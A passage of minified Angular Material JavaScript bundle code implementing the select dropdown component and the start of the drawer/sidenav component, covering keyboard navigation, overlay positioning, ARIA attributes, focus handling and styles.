0!==this._previousControl&&null!==m.disabled&&m.disabled!==this.disabled&&(this.disabled=m.disabled),this._previousControl=m.control),this.updateErrorState())}ngOnChanges(x){(x.disabled||x.userAriaDescribedBy)&&this.stateChanges.next(),x.typeaheadDebounceInterval&&this._keyManager&&this._keyManager.withTypeAhead(this._typeaheadDebounceInterval)}ngOnDestroy(){this._destroy.next(),this._destroy.complete(),this.stateChanges.complete()}toggle(){this.panelOpen?this.close():this.open()}open(){this._canOpen()&&(this._panelOpen=!0,this._keyManager.withHorizontalOrientation(null),this._highlightCorrectOption(),this._changeDetectorRef.markForCheck())}close(){this._panelOpen&&(this._panelOpen=!1,this._keyManager.withHorizontalOrientation(this._isRtl()?"rtl":"ltr"),this._changeDetectorRef.markForCheck(),this._onTouched())}writeValue(x){this._assignValue(x)}registerOnChange(x){this._onChange=x}registerOnTouched(x){this._onTouched=x}setDisabledState(x){this.disabled=x,this._changeDetectorRef.markForCheck(),this.stateChanges.next()}get panelOpen(){return this._panelOpen}get selected(){return this.multiple?this._selectionModel?.selected||[]:this._selectionModel?.selected[0]}get triggerValue(){if(this.empty)return"";if(this._multiple){const x=this._selectionModel.selected.map(m=>m.viewValue);return this._isRtl()&&x.reverse(),x.join(", ")}return this._selectionModel.selected[0].viewValue}_isRtl(){return!!this._dir&&"rtl"===this._dir.value}_handleKeydown(x){this.disabled||(this.panelOpen?this._handleOpenKeydown(x):this._handleClosedKeydown(x))}_handleClosedKeydown(x){const m=x.keyCode,b=m===C.JH||m===C.LH||m===C.oh||m===C.SV,B=m===C.K5||m===C.L_,ie=this._keyManager;if(!ie.isTyping()&&B&&!(0,C.Vb)(x)||(this.multiple||x.altKey)&&b)x.preventDefault(),this.open();else if(!this.multiple){const Xe=this.selected;ie.onKeydown(x);const it=this.selected;it&&Xe!==it&&this._liveAnnouncer.announce(it.viewValue,1e4)}}_handleOpenKeydown(x){const m=this._keyManager,b=x.keyCode,B=b===C.JH||b===C.LH,ie=m.isTyping();if(B&&x.altKey)x.preventDefault(),this.close();else if(ie||b!==C.K5&&b!==C.L_||!m.activeItem||(0,C.Vb)(x))if(!ie&&this._multiple&&b===C.A&&x.ctrlKey){x.preventDefault();const Xe=this.options.some(it=>!it.disabled&&!it.selected);this.options.forEach(it=>{it.disabled||(Xe?it.select():it.deselect())})}else{const Xe=m.activeItemIndex;m.onKeydown(x),this._multiple&&B&&x.shiftKey&&m.activeItem&&m.activeItemIndex!==Xe&&m.activeItem._selectViaInteraction()}else x.preventDefault(),m.activeItem._selectViaInteraction()}_onFocus(){this.disabled||(this._focused=!0,this.stateChanges.next())}_onBlur(){this._focused=!1,!this.disabled&&!this.panelOpen&&(this._onTouched(),this._changeDetectorRef.markForCheck(),this.stateChanges.next())}_onAttached(){this._overlayDir.positionChange.pipe((0,oe.q)(1)).subscribe(()=>{this._changeDetectorRef.detectChanges(),this._positioningSettled()})}_getPanelTheme(){return this._parentFormField?`mat-${this._parentFormField.color}`:""}get empty(){return!this._selectionModel||this._selectionModel.isEmpty()}_initializeSelection(){Promise.resolve().then(()=>{this.ngControl&&(this._value=this.ngControl.value),this._setSelectionByValue(this._value),this.stateChanges.next()})}_setSelectionByValue(x){if(this._selectionModel.selected.forEach(m=>m.setInactiveStyles()),this._selectionModel.clear(),this.multiple&&x)Array.isArray(x),x.forEach(m=>this._selectOptionByValue(m)),this._sortValues();else{const m=this._selectOptionByValue(x);m?this._keyManager.updateActiveItem(m):this.panelOpen||this._keyManager.updateActiveItem(-1)}this._changeDetectorRef.markForCheck()}_selectOptionByValue(x){const m=this.options.find(b=>{if(this._selectionModel.isSelected(b))return!1;try{return null!=b.value&&this._compareWith(b.value,x)}catch{return!1}});return m&&this._selectionModel.select(m),m}_assignValue(x){return!!(x!==this._value||this._multiple&&Array.isArray(x))&&(this.options&&this._setSelectionByValue(x),this._value=x,!0)}_initKeyManager(){this._keyManager=new E.s1(this.options).withTypeAhead(this._typeaheadDebounceInterval).withVerticalOrientation().withHorizontalOrientation(this._isRtl()?"rtl":"ltr").withHomeAndEnd().withAllowedModifierKeys(["shiftKey"]),this._keyManager.tabOut.pipe((0,se.R)(this._destroy)).subscribe(()=>{this.panelOpen&&(!this.multiple&&this._keyManager.activeItem&&this._keyManager.activeItem._selectViaInteraction(),this.focus(),this.close())}),this._keyManager.change.pipe((0,se.R)(this._destroy)).subscribe(()=>{this._panelOpen&&this.panel?this._scrollOptionIntoView(this._keyManager.activeItemIndex||0):!this._panelOpen&&!this.multiple&&this._keyManager.activeItem&&this._keyManager.activeItem._selectViaInteraction()})}_resetOptions(){const x=(0,U.T)(this.options.changes,this._destroy);this.optionSelectionChanges.pipe((0,se.R)(x)).subscribe(m=>{this._onSelect(m.source,m.isUserInput),m.isUserInput&&!this.multiple&&this._panelOpen&&(this.close(),this.focus())}),(0,U.T)(...this.options.map(m=>m._stateChanges)).pipe((0,se.R)(x)).subscribe(()=>{this._changeDetectorRef.markForCheck(),this.stateChanges.next()})}_onSelect(x,m){const b=this._selectionModel.isSelected(x);null!=x.value||this._multiple?(b!==x.selected&&(x.selected?this._selectionModel.select(x):this._selectionModel.deselect(x)),m&&this._keyManager.setActiveItem(x),this.multiple&&(this._sortValues(),m&&this.focus())):(x.deselect(),this._selectionModel.clear(),null!=this.value&&this._propagateChanges(x.value)),b!==this._selectionModel.isSelected(x)&&this._propagateChanges(),this.stateChanges.next()}_sortValues(){if(this.multiple){const x=this.options.toArray();this._selectionModel.sort((m,b)=>this.sortComparator?this.sortComparator(m,b,x):x.indexOf(m)-x.indexOf(b)),this.stateChanges.next()}}_propagateChanges(x){let m=null;m=this.multiple?this.selected.map(b=>b.value):this.selected?this.selected.value:x,this._value=m,this.valueChange.emit(m),this._onChange(m),this.selectionChange.emit(this._getChangeEvent(m)),this._changeDetectorRef.markForCheck()}_highlightCorrectOption(){this._keyManager&&(this.empty?this._keyManager.setFirstItemActive():this._keyManager.setActiveItem(this._selectionModel.selected[0]))}_canOpen(){return!this._panelOpen&&!this.disabled&&this.options?.length>0}focus(x){this._elementRef.nativeElement.focus(x)}_getPanelAriaLabelledby(){if(this.ariaLabel)return null;const x=this._parentFormField?.getLabelId();return this.ariaLabelledby?(x?x+" ":"")+this.ariaLabelledby:x}_getAriaActiveDescendant(){return this.panelOpen&&this._keyManager&&this._keyManager.activeItem?this._keyManager.activeItem.id:null}_getTriggerAriaLabelledby(){if(this.ariaLabel)return null;const x=this._parentFormField?.getLabelId();let m=(x?x+" ":"")+this._valueId;return this.ariaLabelledby&&(m+=" "+this.ariaLabelledby),m}_panelDoneAnimating(x){this.openedChange.emit(x)}setDescribedByIds(x){x.length?this._elementRef.nativeElement.setAttribute("aria-describedby",x.join(" ")):this._elementRef.nativeElement.removeAttribute("aria-describedby")}onContainerClick(){this.focus(),this.open()}get shouldLabelFloat(){return this._panelOpen||!this.empty||this._focused&&!!this._placeholder}}return Ie.\\u0275fac=function(x){return new(x||Ie)(s.Y36(f.rL),s.Y36(s.sBO),s.Y36(s.R0b),s.Y36(u.rD),s.Y36(s.SBq),s.Y36(_.Is,8),s.Y36(z.F,8),s.Y36(z.sg,8),s.Y36(c.G_,8),s.Y36(z.a5,10),s.$8M("tabindex"),s.Y36(pe),s.Y36(E.Kd),s.Y36(w,8))},Ie.\\u0275dir=s.lG2({type:Ie,viewQuery:function(x,m){if(1&x&&(s.Gf(q,5),s.Gf(we,5),s.Gf(n.pI,5)),2&x){let b;s.iGM(b=s.CRH())&&(m.trigger=b.first),s.iGM(b=s.CRH())&&(m.panel=b.first),s.iGM(b=s.CRH())&&(m._overlayDir=b.first)}},inputs:{userAriaDescribedBy:["aria-describedby","userAriaDescribedBy"],panelClass:"panelClass",placeholder:"placeholder",required:"required",multiple:"multiple",disableOptionCentering:"disableOptionCentering",compareWith:"compareWith",value:"value",ariaLabel:["aria-label","ariaLabel"],ariaLabelledby:["aria-labelledby","ariaLabelledby"],errorStateMatcher:"errorStateMatcher",typeaheadDebounceInterval:"typeaheadDebounceInterval",sortComparator:"sortComparator",id:"id"},outputs:{openedChange:"openedChange",_openedStream:"opened",_closedStream:"closed",selectionChange:"selectionChange",valueChange:"valueChange"},features:[s.qOj,s.TTD]}),Ie})(),Dt=(()=>{class Ie extends Et{constructor(){super(...arguments),this._scrollTop=0,this._triggerFontSize=0,this._transformOrigin="top",this._offsetY=0,this._positions=[{originX:"start",originY:"top",overlayX:"start",overlayY:"top"},{originX:"start",originY:"bottom",overlayX:"start",overlayY:"bottom"}]}_calculateOverlayScroll(x,m,b){const B=this._getItemHeight();return Math.min(Math.max(0,B*x-m+B/2),b)}ngOnInit(){super.ngOnInit(),this._viewportRuler.change().pipe((0,se.R)(this._destroy)).subscribe(()=>{this.panelOpen&&(this._triggerRect=this.trigger.nativeElement.getBoundingClientRect(),this._changeDetectorRef.markForCheck())})}open(){super._canOpen()&&(super.open(),this._triggerRect=this.trigger.nativeElement.getBoundingClientRect(),this._triggerFontSize=parseInt(getComputedStyle(this.trigger.nativeElement).fontSize||"0"),this._calculateOverlayPosition(),this._ngZone.onStable.pipe((0,oe.q)(1)).subscribe(()=>{this._triggerFontSize&&this._overlayDir.overlayRef&&this._overlayDir.overlayRef.overlayElement&&(this._overlayDir.overlayRef.overlayElement.style.fontSize=`${this._triggerFontSize}px`)}))}_scrollOptionIntoView(x){const m=(0,u.CB)(x,this.options,this.optionGroups),b=this._getItemHeight();this.panel.nativeElement.scrollTop=0===x&&1===m?0:(0,u.jH)((x+m)*b,b,this.panel.nativeElement.scrollTop,256)}_positioningSettled(){this._calculateOverlayOffsetX(),this.panel.nativeElement.scrollTop=this._scrollTop}_panelDoneAnimating(x){this.panelOpen?this._scrollTop=0:(this._overlayDir.offsetX=0,this._changeDetectorRef.markForCheck()),super._panelDoneAnimating(x)}_getChangeEvent(x){return new X(this,x)}_calculateOverlayOffsetX(){const x=this._overlayDir.overlayRef.overlayElement.getBoundingClientRect(),m=this._viewportRuler.getViewportSize(),b=this._isRtl(),B=this.multiple?56:32;let ie;if(this.multiple)ie=40;else if(this.disableOptionCentering)ie=16;else{let wt=this._selectionModel.selected[0]||this.options.first;ie=wt&&wt.group?32:16}b||(ie*=-1);const Xe=0-(x.left+ie-(b?B:0)),it=x.right+ie-m.width+(b?0:B);Xe>0?ie+=Xe+8:it>0&&(ie-=it+8),this._overlayDir.offsetX=Math.round(ie),this._overlayDir.overlayRef.updatePosition()}_calculateOverlayOffsetY(x,m,b){const B=this._getItemHeight(),ie=(B-this._triggerRect.height)/2,Xe=Math.floor(256/B);let it;return this.disableOptionCentering?0:(it=0===this._scrollTop?x*B:this._scrollTop===b?(x-(this._getItemCount()-Xe))*B+(B-(this._getItemCount()*B-256)%B):m-B/2,Math.round(-1*it-ie))}_checkOverlayWithinViewport(x){const m=this._getItemHeight(),b=this._viewportRuler.getViewportSize(),B=this._triggerRect.top-8,ie=b.height-this._triggerRect.bottom-8,Xe=Math.abs(this._offsetY),wt=Math.min(this._getItemCount()*m,256)-Xe-this._triggerRect.height;wt>ie?this._adjustPanelUp(wt,ie):Xe>B?this._adjustPanelDown(Xe,B,x):this._transformOrigin=this._getOriginBasedOnOption()}_adjustPanelUp(x,m){const b=Math.round(x-m);this._scrollTop-=b,this._offsetY-=b,this._transformOrigin=this._getOriginBasedOnOption(),this._scrollTop<=0&&(this._scrollTop=0,this._offsetY=0,this._transformOrigin="50% bottom 0px")}_adjustPanelDown(x,m,b){const B=Math.round(x-m);if(this._scrollTop+=B,this._offsetY+=B,this._transformOrigin=this._getOriginBasedOnOption(),this._scrollTop>=b)return this._scrollTop=b,this._offsetY=0,void(this._transformOrigin="50% top 0px")}_calculateOverlayPosition(){const x=this._getItemHeight(),m=this._getItemCount(),b=Math.min(m*x,256),ie=m*x-b;let Xe;Xe=this.empty?0:Math.max(this.options.toArray().indexOf(this._selectionModel.selected[0]),0),Xe+=(0,u.CB)(Xe,this.options,this.optionGroups);const it=b/2;this._scrollTop=this._calculateOverlayScroll(Xe,it,ie),this._offsetY=this._calculateOverlayOffsetY(Xe,it,ie),this._checkOverlayWithinViewport(ie)}_getOriginBasedOnOption(){const x=this._getItemHeight(),m=(x-this._triggerRect.height)/2;return`50% ${Math.abs(this._offsetY)-m+x/2}px 0px`}_getItemHeight(){return 3*this._triggerFontSize}_getItemCount(){return this.options.length+this.optionGroups.length}}return Ie.\\u0275fac=function(){let te;return function(m){return(te||(te=s.n5z(Ie)))(m||Ie)}}(),Ie.\\u0275cmp=s.Xpm({type:Ie,selectors:[["mat-select"]],contentQueries:function(x,m,b){if(1&x&&(s.Suo(b,ct,5),s.Suo(b,u.ey,5),s.Suo(b,u.K7,5)),2&x){let B;s.iGM(B=s.CRH())&&(m.customTrigger=B.first),s.iGM(B=s.CRH())&&(m.options=B),s.iGM(B=s.CRH())&&(m.optionGroups=B)}},hostAttrs:["role","combobox","aria-autocomplete","none","aria-haspopup","true",1,"mat-select"],hostVars:19,hostBindings:function(x,m){1&x&&s.NdJ("keydown",function(B){return m._handleKeydown(B)})("focus",function(){return m._onFocus()})("blur",function(){return m._onBlur()}),2&x&&(s.uIk("id",m.id)("tabindex",m.tabIndex)("aria-controls",m.panelOpen?m.id+"-panel":null)("aria-expanded",m.panelOpen)("aria-label",m.ariaLabel||null)("aria-required",m.required.toString())("aria-disabled",m.disabled.toString())("aria-invalid",m.errorState)("aria-activedescendant",m._getAriaActiveDescendant()),s.ekj("mat-select-disabled",m.disabled)("mat-select-invalid",m.errorState)("mat-select-required",m.required)("mat-select-empty",m.empty)("mat-select-multiple",m.multiple))},inputs:{disabled:"disabled",disableRipple:"disableRipple",tabIndex:"tabIndex"},exportAs:["matSelect"],features:[s._Bn([{provide:c.Eo,useExisting:Ie},{provide:u.HF,useExisting:Ie}]),s.qOj],ngContentSelectors:Ye,decls:9,vars:12,consts:[["cdk-overlay-origin","",1,"mat-select-trigger",3,"click"],["origin","cdkOverlayOrigin","trigger",""],[1,"mat-select-value",3,"ngSwitch"],["class","mat-select-placeholder mat-select-min-line",4,"ngSwitchCase"],["class","mat-select-value-text",3,"ngSwitch",4,"ngSwitchCase"],[1,"mat-select-arrow-wrapper"],[1,"mat-select-arrow"],["cdk-connected-overlay","","cdkConnectedOverlayLockPosition","","cdkConnectedOverlayHasBackdrop","","cdkConnectedOverlayBackdropClass","cdk-overlay-transparent-backdrop",3,"cdkConnectedOverlayPanelClass","cdkConnectedOverlayScrollStrategy","cdkConnectedOverlayOrigin","cdkConnectedOverlayOpen","cdkConnectedOverlayPositions","cdkConnectedOverlayMinWidth","cdkConnectedOverlayOffsetY","backdropClick","attach","detach"],[1,"mat-select-placeholder","mat-select-min-line"],[1,"mat-select-value-text",3,"ngSwitch"],["class","mat-select-min-line",4,"ngSwitchDefault"],[4,"ngSwitchCase"],[1,"mat-select-min-line"],[1,"mat-select-panel-wrap"],["role","listbox","tabindex","-1",3,"ngClass","keydown"],["panel",""]],template:function(x,m){if(1&x&&(s.F$t(Qe),s.TgZ(0,"div",0,1),s.NdJ("click",function(){return m.toggle()}),s.TgZ(3,"div",2),s.YNc(4,ce,2,1,"span",3),s.YNc(5,le,3,2,"span",4),s.qZA(),s.TgZ(6,"div",5),s._UZ(7,"div",6),s.qZA()(),s.YNc(8,Oe,4,14,"ng-template",7),s.NdJ("backdropClick",function(){return m.close()})("attach",function(){return m._onAttached()})("detach",function(){return m.close()})),2&x){const b=s.MAs(1);s.uIk("aria-owns",m.panelOpen?m.id+"-panel":null),s.xp6(3),s.Q6J("ngSwitch",m.empty),s.uIk("id",m._valueId),s.xp6(1),s.Q6J("ngSwitchCase",!0),s.xp6(1),s.Q6J("ngSwitchCase",!1),s.xp6(3),s.Q6J("cdkConnectedOverlayPanelClass",m._overlayPanelClass)("cdkConnectedOverlayScrollStrategy",m._scrollStrategy)("cdkConnectedOverlayOrigin",b)("cdkConnectedOverlayOpen",m.panelOpen)("cdkConnectedOverlayPositions",m._positions)("cdkConnectedOverlayMinWidth",null==m._triggerRect?null:m._triggerRect.width)("cdkConnectedOverlayOffsetY",m._offsetY)}},dependencies:[a.mk,a.RF,a.n9,a.ED,n.pI,n.xu],styles:[\'.mat-select{display:inline-block;width:100%;outline:none}.mat-select-trigger{display:inline-flex;align-items:center;cursor:pointer;position:relative;box-sizing:border-box;width:100%}.mat-select-disabled .mat-select-trigger{-webkit-user-select:none;user-select:none;cursor:default}.mat-select-value{width:100%;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.mat-select-value-text{white-space:nowrap;overflow:hidden;text-overflow:ellipsis}.mat-select-arrow-wrapper{height:16px;flex-shrink:0;display:inline-flex;align-items:center}.mat-form-field-appearance-fill .mat-select-arrow-wrapper{transform:translateY(-50%)}.mat-form-field-appearance-outline .mat-select-arrow-wrapper{transform:translateY(-25%)}.mat-form-field-appearance-standard.mat-form-field-has-label .mat-select:not(.mat-select-empty) .mat-select-arrow-wrapper{transform:translateY(-50%)}.mat-form-field-appearance-standard .mat-select.mat-select-empty .mat-select-arrow-wrapper{transition:transform 400ms cubic-bezier(0.25, 0.8, 0.25, 1)}._mat-animation-noopable.mat-form-field-appearance-standard .mat-select.mat-select-empty .mat-select-arrow-wrapper{transition:none}.mat-select-arrow{width:0;height:0;border-left:5px solid rgba(0,0,0,0);border-right:5px solid rgba(0,0,0,0);border-top:5px solid;margin:0 4px}.mat-form-field.mat-focused .mat-select-arrow{transform:translateX(0)}.mat-select-panel-wrap{flex-basis:100%}.mat-select-panel{min-width:112px;max-width:280px;overflow:auto;-webkit-overflow-scrolling:touch;padding-top:0;padding-bottom:0;max-height:256px;min-width:100%;border-radius:4px;outline:0}.cdk-high-contrast-active .mat-select-panel{outline:solid 1px}.mat-select-panel .mat-optgroup-label,.mat-select-panel .mat-option{font-size:inherit;line-height:3em;height:3em}.mat-form-field-type-mat-select:not(.mat-form-field-disabled) .mat-form-field-flex{cursor:pointer}.mat-form-field-type-mat-select .mat-form-field-label{width:calc(100% - 18px)}.mat-select-placeholder{transition:color 400ms 133.3333333333ms cubic-bezier(0.25, 0.8, 0.25, 1)}._mat-animation-noopable .mat-select-placeholder{transition:none}.mat-form-field-hide-placeholder .mat-select-placeholder{color:rgba(0,0,0,0);-webkit-text-fill-color:rgba(0,0,0,0);transition:none;display:block}.mat-select-min-line:empty::before{content:" ";white-space:pre;width:1px;display:inline-block;visibility:hidden}\'],encapsulation:2,data:{animation:[qe.transformPanelWrap,qe.transformPanel]},changeDetection:0}),Ie})(),Pt=(()=>{class Ie{}return Ie.\\u0275fac=function(x){return new(x||Ie)},Ie.\\u0275mod=s.oAB({type:Ie}),Ie.\\u0275inj=s.cJS({providers:[R],imports:[a.ez,n.U8,u.Ng,u.BQ,f.ZD,c.lN,u.Ng,u.BQ]}),Ie})()},3267:(At,ae,d)=>{"use strict";d.d(ae,{JX:()=>xt,Rh:()=>We,SJ:()=>pe,TM:()=>Be});var n=d(7261),a=d(6895),s=d(4650),u=d(3238),c=d(2687),f=d(445),E=d(1281),_=d(9521),S=d(3353),g=d(8929),C=d(3753),z=d(6787),H=d(2198),j=d(4850),U=d(7604),G=d(7625),Q=d(5778),oe=d(2986),Ce=d(1059),k=d(13),K=d(7340);const se=["*"],ee=["content"];function q(P,w){if(1&P){const R=s.EpF();s.TgZ(0,"div",2),s.NdJ("click",function(){s.CHM(R);const _e=s.oxw();return s.KtG(_e._onBackdropClicked())}),s.qZA()}if(2&P){const R=s.oxw();s.ekj("mat-drawer-shown",R._isShowingBackdrop())}}function we(P,w){1&P&&(s.TgZ(0,"mat-drawer-content"),s.Hsn(1,2),s.qZA())}const ce=[[["mat-drawer"]],[["mat-drawer-content"]],"*"],je=["mat-drawer","mat-drawer-content","*"];function Ze(P,w){if(1&P){const R=s.EpF();s.TgZ(0,"div",2),s.NdJ("click",function(){s.CHM(R);const _e=s.oxw();return s.KtG(_e._onBackdropClicked())}),s.qZA()}if(2&P){const R=s.oxw();s.ekj("mat-drawer-shown",R._isShowingBackdrop())}}function le(P,w){1&P&&(s.TgZ(0,"mat-sidenav-content"),s.Hsn(1,2),s.qZA())}const Oe=[[["mat-sidenav"]],[["mat-sidenav-content"]],"*"],Qe=["mat-sidenav","mat-sidenav-content","*"],qe={transformDrawer:(0,K.X$)("transform",[(0,K.SB)("open, open-instant",(0,K.oB)({transform:"none",visibility:"visible"})),(0,K.SB)("void",(0,K.oB)({"box-shadow":"none",visibility:"hidden"})),(0,K.eR)("void => open-instant",(0,K.jt)("0ms")),(0,K.eR)("void <=> open, open-instant => void",(0,K.jt)("400ms cubic-bezier(0.25, 0.8, 0.25, 1)"))])},dt=new s.OlP("MAT_DRAWER_DEFAULT_AUTOSIZE",{providedIn:"root",factory:function ze(){return!1}}),bt=new s.OlP("MAT_DRAWER_CONTAINER");let De=(()=>{class P extends n.PQ{constructor(R,X,_e,ct,Je){super(_e,ct,Je),this._changeDetectorRef=R,this._container=X}ngAfterContentInit(){this._container._contentMarginChanges.subscribe(()=>{this._changeDetectorRef.markForCheck()})}}return P.\\u0275fac=function(R){return new(R||P)(s.Y36(s.sBO),s.Y36((0,s.Gpc)(()=>ve)),s.Y36(s.SBq),s.Y36(n.mF),s.Y36(s.R0b))},P.\\u0275cmp=s.Xpm({type:P,selectors:[["mat-drawer-content"]],hostAttrs:[1,"mat-drawer-content"],hostVars:4,hostBindings:function(R,X){2&R&&s.Udp("margin-left",X._container._contentMargins.left,"px")("margin-right",X._container._contentMargins.right,"px")},features:[s._Bn([{provide:n.PQ,useExisting:P}]),s.qOj],ngContentSelectors:se,decls:1,vars:0,template:function(R,X){1&R&&(s.F$t(),s.Hsn(0))},encapsulation:2,changeDetection:0}),P})(),re=(()=>{class P{constructor(R,X,_e,ct,Je,Et,Dt,Pt){this._elementRef=R,this._focusTrapFactory=X,this._focusMonitor=_e,this._platform=ct,this._ngZone=Je,this._interactivityChecker=Et,this._doc=Dt,this._container=Pt,this._elementFocusedBeforeDrawerWasOpened=null,this._enableAnimations=!1,this._position="start",this._mode="over",this._disableClose=!1,this._opened=!1,this._animationStarted=new g.xQ,this._animationEnd=new g.xQ,this._animationState="void",this.openedChange=new s.vpe(!0),this._openedStream=this.openedChange.pipe((0,H.h)(Ie=>Ie),(0,j.U)(()=>{})),this.openedStart=this._animationStarted.pipe((0,H.h)(Ie=>Ie.fromState!==Ie.toState&&0===Ie.toState.indexOf("open")),(0,U.h)(void 0)),this._closedStream=this.openedChange.pipe((0,H.h)(Ie=>!Ie),(0,j.U)(()=>{})),this.closedStart=this._animationStarted.pipe((0,H.h)(Ie=>Ie.fromState!==Ie.toState&&"void"===Ie.toState),(0,U.h)(void 0)),this._destroyed=new g.xQ,this.onPositionChanged=new s.vpe,this._modeChanged=new g.xQ,this.openedChange.subscribe(Ie=>{Ie?(this._doc&&(this._elementFocusedBeforeDrawerWasOpened=this._doc.activeElement),this._takeFocus()):this._isFocusWithinDrawer()&&this._restoreFocus(this._openedVia||"program")}),this._ngZone.runOutsideAngular(()=>{(0,C.R)(this._elementRef.nativeElement,"keydown").pipe((0,H.h)(Ie=>Ie.keyCode===_.hY&&!this.disableClose&&!(0,_.Vb)(Ie)),(0,G.R)(this._destroyed)).subscribe(Ie=>this._ngZone.run(()=>{this.close(),Ie.stopPropagation(),Ie.preventDefault()}))}),this._animationEnd.pipe((0,Q.x)((Ie,te)=>Ie.fromState===te.fromState&&Ie.toState===te.toState)).subscribe(Ie=>{const{fromState:te,toState:x}=Ie;(0===x.indexOf("open")&&"void"===te||"void"===x&&0===te.indexOf("open"))&&this.openedChange.emit(this._opened)})}get position(){return this._position}set position(R){(R="end"===R?"end":"start")!==this._position&&(this._isAttached&&this._updatePositionInParent(R),this._position=R,this.onPositionChanged.emit())}get mode(){return this._mode}set mode(R){this._mode=R,this._updateFocusTrapState(),this._modeChanged.next()}get disableClose(){return this._disableClose}set disableClose(R){this._disableClose=(0,E.Ig)(R)}get autoFocus(){return this._autoFocus??("side"===this.mode?"dialog":"first-tabbable")}set autoFocus(R){("true"===R||"false"===R||null==R)&&(R=(0,E.Ig)(R)),this._autoFocus=R}get opened(){return this._opened}set opened(R){this.toggle((0,E.Ig)(R))}_forceFocus(R,X){this._interactivityChecker.isFocusable(R)||(R.tabIndex=-1,this._ngZone.runOutsideAngular(()=>{const _e=()=>{R.removeEventListener("blur",_e),R.removeEventListener("mousedown",_e),R.removeAttribute("tabindex")};R.addEventListener("blur",_e),R.addEventListener("mousedown",_e)})),R.focus(X)}_focusByCssSelector(R,X){let _e=this._elementRef.nativeElement.querySelector(R);_e&&this._forceFocus(_e,X)}_takeFocus(){if(!this._focusTrap)return;const R=this._elementRef.nativeElement;switch(this.autoFocus){case!1:case"dialog":return;case!0:case"first-tabbable":this._focusTrap.focusInitialElementWhenReady().then(X=>{!X&&"function"==typeof this._elementRef.nativeElement.focus&&R.focus()});break;case"first-heading":this._focusByCssSelector(\'h1, h2, h3, h4, h5, h6, [role="heading"]\');break;default:this._focusByCssSelector(this.autoFocus)}}_restoreFocus(R){"dialog"!==this.autoFocus&&(this._elementFocusedBeforeDrawerWasOpened?this._focusMonitor.focusVia(this._elementFocusedBeforeDrawerWasOpened,R):this._elementRef.nativeElement.blur(),this._elementFocusedBeforeDrawerWasOpened=null)}_isFocusWithinDrawer(){const R=this._doc.activeElement;return!!R&&this._elementRef.nativeElement.contains(R)}ngAfterViewInit(){this._isAttached=!0,this._focusTrap=this._focusTrapFactory.create(this._elementRef.nativeElement),this._updateFocusTrapState(),"end"===this._position&&this._updatePositionInParent("end")}ngAfterContentChecked(){this._platform.isBrowser&&(this._enableAnimations=!0)}ngOnDestroy(){this._focusTrap&&this._focusTrap.destroy(),this._anchor?.remove(),this._anchor=null,this._animationStarted.complete(),this._animationEnd.complete(),this._modeChanged.complete(),this._destroyed.next(),this._destroyed.complete()}open(R){return this.toggle(!0,R)}close(){return this.toggle(!1)}_closeViaBackdropClick(){return this._setOpen(!1,!0,"mouse")}toggle(R=!this.opened,X){R&&X&&(this._openedVia=X);const _e=this._setOpen(R,!R&&this._isFocusWithinDrawer(),this._openedVia||"program");return R||(this._openedVia=null),_e}_setOpen(R,X,_e){return this._opened=R,R?this._animationState=this._enableAnimations?"open":"open-instant":(this._animationState="void",X&&this._restoreFocus(_e)),this._updateFocusTrapState(),new Promise(ct=>{this.openedChange.pipe((0,oe.q)(1)).subscribe(Je=>ct(Je?"open":"close"))})}_getWidth(){return this._elementRef.nativeElement&&this._elementRef.nativeElement.offsetWidth||0}_updateFocusTrapState(){this._focusTrap&&(this._focusTrap.enabled=this.opened&&"side"!==this.mode)}_updatePositionInParent(R){const X=this._elementRef.nativeElement,_e=X.parentNode;"end"===R?(this._anchor||(this._anchor=this._doc.createComment("mat-drawer-anchor"),_e.insertBefore(this._anchor,X)),_e.appendChild(X)):this._anchor&&this._anchor.parentNode.insertBefore(X,this._anchor)}}return P.\\u0275fac=function(R){return new(R||P)(s.Y36(s.SBq),s.Y36(c.qV),s.Y36(c.tE),s.Y36(S.t4),s.Y36(s.R0b),s.Y36(c.ic),s.Y36(a.K0,8),s.Y36(bt,8))},P.\\u0275cmp=s.Xpm({type:P,selectors:[["mat-drawer"]],viewQuery:function(R,X){if(1&R&&s.Gf(ee,5),2&R){let _e;s.iGM(_e=s.CRH())&&(X._content=_e.first)}},hostAttrs:["tabIndex","-1",1,"mat-drawer"],hostVars:12,hostBindings:function(R,X){1&R&&s.WFA("@transform.start",function(ct){return X._animationStarted.next(ct)})("@transform.done",function(ct){return X._animationEnd.next(ct)}),2&R&&(s.uIk("align",null),s.d8E("@transform",X._animationState),s.ekj("mat-drawer-end","end"===X.position)("mat-drawer-over","over"===X.mode)("mat-drawer-push","push"===X.mode)("mat-drawer-side","side"===X.mode)("mat-drawer-opened",X.opened))},inputs:{position:"position",mode:"mode",disableClose:"disableClose",autoFocus:"autoFocus",opened:"opened"},outputs:{openedChange:"openedChange",_openedStream:"opened",openedStart:"openedStart",_closedStream:"closed",closedStart:"closedStart",onPositionChanged:"positionChanged"},exportAs:["matDrawer"],ngContentSelectors:se,decls:3,vars:0,consts:[["cdkScrollable","",1,"mat-drawer-inner-container"],["content",""]],template:function(R,X){1&R&&(s.F$t(),s.TgZ(0,"div",0,1),s.Hsn(2),s.qZA())},dependencies:[n.PQ],encapsulation:2,data:{animation:[qe.transformDrawer]},changeDetection:0}),P})(),ve=(()=>{class P{constructor(R,X,_e,ct,Je,Et=!1,Dt){this._dir=R,this._element=X,this._ngZone=_e,this._changeDetectorRef=ct,this._animationMode=Dt,this._drawers=new s.n_E,this.backdropClick=new s.vpe,this._destroyed=new g.xQ,this._doCheckSubject=new g.xQ,this._contentMargins={left:null,right:null},this._contentMarginChanges=new g.xQ,R&&R.change.pipe((0,G.R)(this._destroyed)).subscribe(()=>{this._validateDrawers(),this.updateContentMargins()}),Je.change().pipe((0,G.R)(this._destroyed)).subscribe(()=>this.updateContentMargins()),this._autosize=Et}get start(){return this._start}get end(){return this._end}get autosize(){return this._autosize}set autosize(R){this._autosize=(0,E.Ig)(R)}get hasBackdrop(){return null==this._backdropOverride?!this._start||"side"!==this._start.mode||!this._end||"side"!==this._end.mode:this._backdropOverride}set hasBackdrop(R){this._backdropOverride=null==R?null:(0,E.Ig)(R)}get scrollable(){return 